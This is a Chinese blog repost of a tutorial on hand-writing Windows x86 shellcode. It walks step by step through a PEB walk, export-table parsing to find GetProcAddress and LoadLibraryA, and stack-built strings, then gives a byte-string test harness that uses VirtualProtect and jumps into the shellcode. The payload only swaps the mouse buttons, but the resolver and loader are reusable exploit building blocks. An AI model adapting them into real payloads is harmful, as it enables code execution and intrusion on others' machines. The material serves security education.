Windows平台shellcode编写原理

在漏洞利用代码也即是shellcode的编写中,存在诸多的技巧。尤其是对于windows而言,库和函数的定位都需要手动获取,不像linux使用系统调用号那样的方便。

这是我看到一个写的非常详细,非常通俗易懂的教学文章,详细的讲解了开发一个windows下shellcode的整体流程,如何定位库和函数的地址,如何处理字符串等,只要稍微有些基础就能够看懂其中的原理,写的非常赞。

来源:http://www.bkjia.com/xtaq/1104445.html

 

 

一、简介

在“Windows平台shellcode开发入门”系列的最后一部分,我们将会编写一个简单的”SwapMouseButton“的shellcode,该shellcode会互换鼠标的左键和右键。文中涉及的基础知识已在前两篇文章中介绍,本文不再详述,有需要的朋友可以阅读本系列的第一部分和第二部分。我们先从一个已知shellcode着手:Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode。此名称可以透漏shellcode的相关功能,比如它使用:

URLDownloadToFile Windows API函数下载文件 WinExec执行文件(可执行文件:.exe) ExitProcess终止运行shellcode的进程

使用这个示例程序,我们需要调用SwapMouseButton函数和ExitProcess函数。

BOOL WINAPI SwapMouseButton(
  _In_ BOOL fSwap
);

VOID WINAPI ExitProcess(
  _In_ UINT uExitCode
);

正如你看到的,每个函数只需要1个参数:

1.fSwap参数可以是TRUE或FALSE,鼠标的按键便会被互换,否则被恢复。2.uExitCode表示进程退出码。每个进程在退出时必须返回一个值(如果一切顺利的话,返回值为零,否则返回其他数值)。这是为什么main函数通常需要return 0

二、程序概览

现在我们需要调用这两个函数。在C++中,调用过程非常简单:

因为编译器知道去链接“user32”函数库,然后查找相关函数。但是我们需要在shellcode手动完成这个过程。我们需要手动加载“user32”库,找到SwapMouseButton函数的地址,并进行调用。

但是,此处编译器已经知道LoadLibraryGetProcAddress函数的地址。在shellcode中,我们需要通过编程的方式来寻找。

注意我们不需要在C++中调用ExitProcess函数,因为main函数在执行return 0之后,程序便会终止运行。但从shellcode上,我们需要确保程序能够”优雅地“终止而不是“崩掉”(crash)。

三、逐步编写shellcode

在前面几部分已经讨论过,为了制作出稳定可靠的shellcode,我们需要遵循以下的步骤。我们已经知道调用哪些函数,但是,我们首先需要定位这些函数的地址。所需的步骤如下:

查找kernel32.dll加载到内存的位置找到其导出表定位kernel32.dll导出的GetProcAddress函数使用GetProcAddress函数获取LoadLibrary的函数地址使用LoadLibrary函数加载user32.dll动态链接库获取user32.dll中SwapMouseButton的函数地址调用SwapMouseButton函数查找ExitProcess的函数地址调用ExitProcess函数

我们使用Visual Studio 2015开发工具来编写shellcode,当然你也可以其他版本或类似masm,nasm的汇编器。在Visual Studio开发环境中,我们使用__asm { }来直接编写汇编代码。请仔细阅读和理解这部分代码。

#include "stdafx.h"
int main()
{
    __asm
    {
        // ASM code here
    }
    return 0;
}

1. 查找kernel32.dll基址

如下所示,我们可以使用下述代码查找kernel32.dll加载到内存中的位置。

xor ecx, ecx
mov eax, fs:[ecx + 0x30]  ; EAX = PEB
mov eax, [eax + 0xc]      ; EAX = PEB->Ldr
mov esi, [eax + 0x14]     ; ESI = PEB->Ldr.InMemOrder
lodsd                     ; EAX = Second module
xchg eax, esi             ; EAX = ESI, ESI = EAX
lodsd                     ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]     ; EBX = Base address

1-2 行):第1条指令将ecx寄存器清零,然后在下一条指令中使用。但为什么要这么做?还记得我们在前面提到过要避免“空”字节。如果第二条指令为mov eax,fs:[30]指令,将会汇编成机器码序列:64 A1 30 00 00 00,便会出现空字节。然而mov eax, fs:[ecx+0x30]将会汇编成64 8B 41 30,这种方式可以避免“空”字节。

(3-4 行):现在PEB指针已经保存到eax寄存器。正如上篇文章提到的,我们可以在PEB指针的0xC偏移处获得Ldr,然后顺着指针在Ldr的0×14偏移处获取模块列表。

(5-7 行):当前位于“InMemoryOrderLinks”链表的第1个模块,即“program.exe” 。此处,该结构的第1个元素是Flink指针,指向下一个模块。然后,我们将这个指针存放在esi寄存器。接着,lodsd指令会根据esi寄存器指向的地址读取双字,然后把结果存放在eax寄存器。这就意味着在lodsd指令执行之后,我们可以通过eax寄存器获取到第2个模块的地址,即ntdll.dll。我们通过xchg指令交换eax和esi寄存器中的值,便把第2个模块的指针存放到esi寄存器,再次调用lodsd指令,从而遍历到第3个模块:kernel32.dll。

(8 行):此时,eax寄存器指向kernel32.dll的“InMemoryOrderLinks”。再加上0×10字节便可以获得“DllBase”指针,即kernel32.dll加载到内存中的位置。

2. 找到kernel32.dll的导出表

我们已经在内存中找到kernel32.dll。现在,我们需要解析PE文件,然后找到导出表。幸好,这个过程并不复杂。

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx          ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx          ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx          ; ESI = Names table
xor ecx, ecx          ; EXC = 0

(1-2 行):我们已经知道可以在0x3C偏移处获得e_lfanew指针,因为MS-DOS头的大小是0×40字节,而最后4个字节就是e_lfanew指针。我们需要把基地址加上这个偏移值,因为这个指针是相对于基地址的(只是个偏移值,不是绝对地址)。

(3-4 行):在PE头的0×78偏移处,我们可以找到导出表的”DataDirectory“。这是因为PE头(签名,文件头,可选头)在”DataDirectory“之前的大小是0×78字节,而导出表是”DataDirectory“表的第1个元素。再次,我们把edx寄存器加上这个数值,现在已经抵达kernel32.dll的导出表。

(5-7 行):在IMAGE_EXPORT_DIRECTORY结构上,我们可以在0×20偏移处获得“AddressOfNames”的指针,从而得导出函数的名称。这个步骤是需要的,因为我们尝试通过函数名称来查找函数,尽管可以使用其他的方法。我们将指针保存到esi寄存器,然后把ecx寄存器清零。

现在,我们了解一下”AddressOfNames“,一个指针数组(此处的指针是相对于映像基址的偏移而已,即kernel32.dll加载到内存的位置)。所以每4个字节代表一个指向函数名称的指针。我们可以通过如下代码来找到函数名称和函数名称的序号(GetProcAddress函数的序号):

Get_Function:
inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function

(1-3 行):第1行什么也没做。它只是一个标签,为某个位置起个名称,我们可以跳转这里来读取函数的名称,接下来你将会看到。在第3行,我们可以自增ecx寄存器,它是函数的计数器,也是函数的序号。

(4-5 行):esi寄存器指向第1个函数的名称。lodsd指令会把函数名称(比如”ExportedFunction“)的偏移存放在eax寄存器,然后ebx(存放kernel32的基址)加上这个偏移值便可以获取正确的指针。注意lodsd指令也会把esi寄存器值增加4。这点有助于我们,因为我们不需要手动增加它的值,我们只需要再次调用lodsd便可以获取下一个函数名称的指针。

(6-11 行)eax寄存器存储了导出函数名称的正确指针,而不是偏移值。因此,它指向一个函数名称的字符串,我们需要检查一下此函数是否是GetProcAddress。在第6行,我们把导出函数的名称和”0×50746547“进行比较,实际上是”PteG“的ASCII码值”50 74 65 47“代表。你可能猜到翻过来便是”GetP“,表示GetProcAddress的前4个字节,但由于x86使用little-endian模式,意味着数字在内存中是逆序排列的。因此,我们实际上是比较当前函数名前4个字节是否是”GetP“。如果不匹配,jnz指令跳转到Get_Function标签,继续比较下一个函数名。如果匹配,我们也会比较后4个字节,必须是”rocA“,再后面4个字节是”ddre“,从而确保排除以”GetP“开头的其他函数。

3. 找到GetProcAddress函数地址

此时,我们只是找到GetProcAddress函数的序号,但是我们可以利用序号来找到函数的实际地址:

mov esi, [edx + 0x24]    ; ESI = Offset ordinals
add esi, ebx             ; ESI = Ordinals table
mov cx, [esi + ecx * 2]  ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]    ; ESI = Offset address table
add esi, ebx             ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx             ; EDX = GetProcAddress

(1-2 行):此处,edx寄存器指向IMAGE_EXPORT_DIRECTORY结构。在此结构的0×24偏移处,我们可以找到AddressOfNameOrdinals偏移。在第2行,这个偏移值加上ebx寄存器,即kernel32.dll基地址,我们可以获得指向名称序号表的有效指针。

(3-4 行):esi寄存器指向指向名称序号数组。这个数组包含2字节大小的数字。我们已经知道GetProcAddress函数名称的序号(索引)存储在ecx寄存器,因此我们便可以获得函数地址的序号(索引)。这可以帮助我们获取函数的地址。我们需要递减这个数字,因为名称序号从0开始的。

(5-6 行):在0x1c偏移处,我们可以找到AddressOfFunctions,指向函数指针的数组。我们只需加上kernel32.dll的基地址便可以访问这个数组的开始位置。

(7-8 行):现在,ecx寄存器存储了AddressOfFunctions数组的索引值,我们可以从AddressOfFunctions[ecx]位置读取GetProcAddress的函数指针(是相对于映像基地址的偏移)。我们使用ecx * 4,因为每个指针占用4个字节,且esi指针指向数组的开始位置。在第8行,加上映像的基地址之后,edx寄存器便可以指向GetProcAddress函数。

4. 获取LoadLibrary函数地址

xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)

(1-3 行):首先,我们将ecx清零,因为后续会使用。其次,在第2行和第3行,我们把ebx和edx压入栈上以备后用,其中ebx存储kernel32的基地址,edx存储GetProcAddress的函数指针。

(4-10 行):现在,我们可以进行如下调用:GetProcAddress(kernel32, “LoadLibraryA”)。我们已经获知kernel32的基地址,但是如何使用字符串?我们再次利用栈来实现。我们需要把“LoadLibraryA\0”存放在栈上。是的,字符串必须以空字节结尾,这就是为什么需要在第4行把ecx清零后压入栈上。我需要把LoadLibraryA字符串拆分成4个字节一组,按照相反的顺序压入栈上。我们首先需要放置“aryA”,然后是“Libr“和”Load“,所以最终在栈上字符串将会是”LoadLibraryA“。因为我们已经把数据存入栈上,esp寄存器,即栈指针,便会指向”LoadLibraryA“字符串的开头。我们现在需要从后往前把函数参数压入栈上,因此首先在第8行把esp压入栈上,其次是在第9行把ebx,即kernel32基地址,然后我们调用存储GetProcAddress函数指针的edx。

注意我们安放存入在栈上的是”LoadLibraryA“,而不是“LoadLibrary”。这是因为kernel32.dll并不导出“LoadLibrary”函数,而是导出两个函数:适用于ANSI字符串参数的“LoadLibraryA”函数和适用于Unicode字符串参数的“LoadLibraryW”函数。

5. 加载 user32.dll动态链接库

上面已经获取LoadLibrary函数的地址,我们现在使用它来把“user32.dll”动态链接库加载到内存,这个动态链接库包含我们需要的SwapMouseButton函数。

add esp, 0xc    ; pop "LoadLibraryA"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")

(1-3 行):之前把“LoadLibraryA”字符串存放在栈上,所以我们现在需要清除它。最简单的方式并不是3条“pops”指令,而是仅需要把esp寄存器增加0xc(意味着12个字节的字符串)即可。在第2行,我们也需要清除函数调用之前存放在栈上的0,然后将ecx寄存器清零。我们现在需要把LoadLibrary函数地址从eax寄存器备份到栈上,因为调用函数之后,返回值会保存在eax寄存器,从可能把LoadLibrary函数地址给清除了。

(4-19 行):因为需要调用LoadLibrary(“user32.dll”),所以我们需要再次在栈上存放字符串。现在的情况可能更为棘手,因为字符串的长度不是4的倍数,不能直接通过一些push指令进行存放。取而代之的是,我们首先把取值为0的ecx寄存器压入栈上,然后再把CX寄存器设置为“ll”字符串。CX寄存器是ecx寄存器的后半部分。所以,我们可以把它压入栈上。在第7-8行,我们把“user32.d”字符串存放在栈上,所以现在esp指向“user32.dll”字符串。我们把这个参数再压入栈上,然后调用LoadLibrary加载动态链接库,然后eax寄存器返回user32.dll动态链接库的基地址。

6. 获取SwapMouseButton函数地址

既然已经把user32.dl加载至内存中,我们需要调用GetProcAddress来获取SwapMouseButton函数地址。

add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)

(1-2 行):像前面一样,我们需要清理一下栈。在前两行,我们把上面保存的GetProcAddress函数地址存入edx寄存器。之前提到过,在函数调用之后,eax、ecx、及edx寄存器值可能会改变,因为这些寄存器的值在函数调用过程中不会被保存下来。

(3-13 行):因为需要调用GetProcAddress(user32.dll, “SwapMouseButton”),所以我们需要再次把字符串存入栈上。首先,在第3-4行,我们把ecx寄存器清零,然后压入栈上。其次,我们把“tona”压入栈上。“ton”字符串代表着“SwapMouseButton”字符串最后3个字节,但是现在后面多加了一个“a”字符。这是一个小技巧,在第7行,我们从栈上存储字符“a”的位置减去0×61.因为字符“a”的ASCII值为0×61,这就意味着把“a”字符转换成了“空(NULL)”字节。接下来,我们把字符串的其余部分压入栈上。我们把存放user32.dll基地址的eax寄存器压入栈上,然后调用GetProcAddress函数。

7. 调用SwapMouseButton函数

既然已经获得SwapMouseButton函数地址,我们只需要使用“正确的”参数进行调用即可。

add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!

(1-3 行):虽然很无聊,但我们还需要清理一下栈。我们想要调用SwapMouseButton(true),即SwapMouseButton(1),所以先要把“1”压入栈上。我们仅需把ecx寄存器清零,然后再加1即可。如果你需要恢复鼠标的功能,移除inc ecx指令即可。

8. 定位ExitProcess函数

虽然我们已经完成任务,但是我们想要更为”优雅地“结束进程,因此我们需要在kernel32.dll中找到ExitProcess函数。

add esp, 0x4                    ; Clean stack
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)

(1-3 行):从栈上清除”1“。我们也需要读取刚开始在栈上备份的数据,GetProcAddress函数地址保存到edx寄存器,而kernel32基地址保存到ebx寄存器。

(4-11 行):接下来我们已经非常熟悉,把字符串”“ExitProcessa”存放在栈上,然后把最后一个”a“字符替换成“空(NULL)”字节。我们把参数存放在栈上,然后调用GetProcAddress来获取ExitProcess函数地址。

9. 调用ExitProcess函数

最后,我们像下面这样调用ExitProcess函数。

xor ecx, ecx ; ECX = 0
push ecx     ; Return code = 0
call eax     ; ExitProcess

(1-3 行):我们需要在栈上压入值为0的参数,因此我们只需要把ecx清零,再压入栈上即可,然后调用ExitProcess。终于大功告成了!!!

 

综合

现在我们把所有的部分串在一起,最终版的shellcode如下:

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
lodsd                    ; EAX = Second module
xchg eax, esi            ; EAX = ESI, ESI = EAX
lodsd                    ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]    ; EBX = Base address
mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
add edx, ebx             ; EDX = PE Header
mov edx, [edx + 0x78]    ; EDX = Offset export table
add edx, ebx             ; EDX = Export table
mov esi, [edx + 0x20]    ; ESI = Offset namestable
add esi, ebx             ; ESI = Names table
xor ecx, ecx             ; EXC = 0

Get_Function:

inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24]                ; ESI = Offset ordinals
add esi, ebx                         ; ESI = Ordinals table
mov cx, [esi + ecx * 2]              ; Number of function
dec ecx
mov esi, [edx + 0x1c]                ; Offset address table
add esi, ebx                         ; ESI = Address table
mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
add edx, ebx                         ; EDX = GetProcAddress

xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)

add esp, 0xc    ; pop "LoadLibrary"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")

add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)

add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!

add esp, 0x4                    ; Clean stack
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
xor ecx, ecx                    ; ECX = 0
push ecx                        ; Return code = 0
call eax                        ; ExitProcess

以上就是我们编写第一个shellcode的全部过程。

10. 测试shellcode

我们可以使用如下代码来测试shellcode。

#include "stdafx.h"
#include 

int main()
{
    char *shellcode =
    "\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75"
    "\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68"
    "\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x75\x73"
    "\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68"
    "\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9"
    "\x41" // inc ecx - Remove this to restore the functionality
    "\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61"
    "\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0";

    // Set memory as executable

    DWORD old = 0;
    BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old);

    // Call the shellcode

    __asm
    {
        jmp shellcode;
    }

    return 0;
}

结论

希望你已经了解Windows shellcode的工作原理,而且已经具备自定义ASM代码的能力。即使这个shellcode 并没有什么用处,但是这是一个编写自己shellcode的不错起点。我建议你动手编写自己的shellcode,以便真正理解编写这类代码背后的挑战。

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值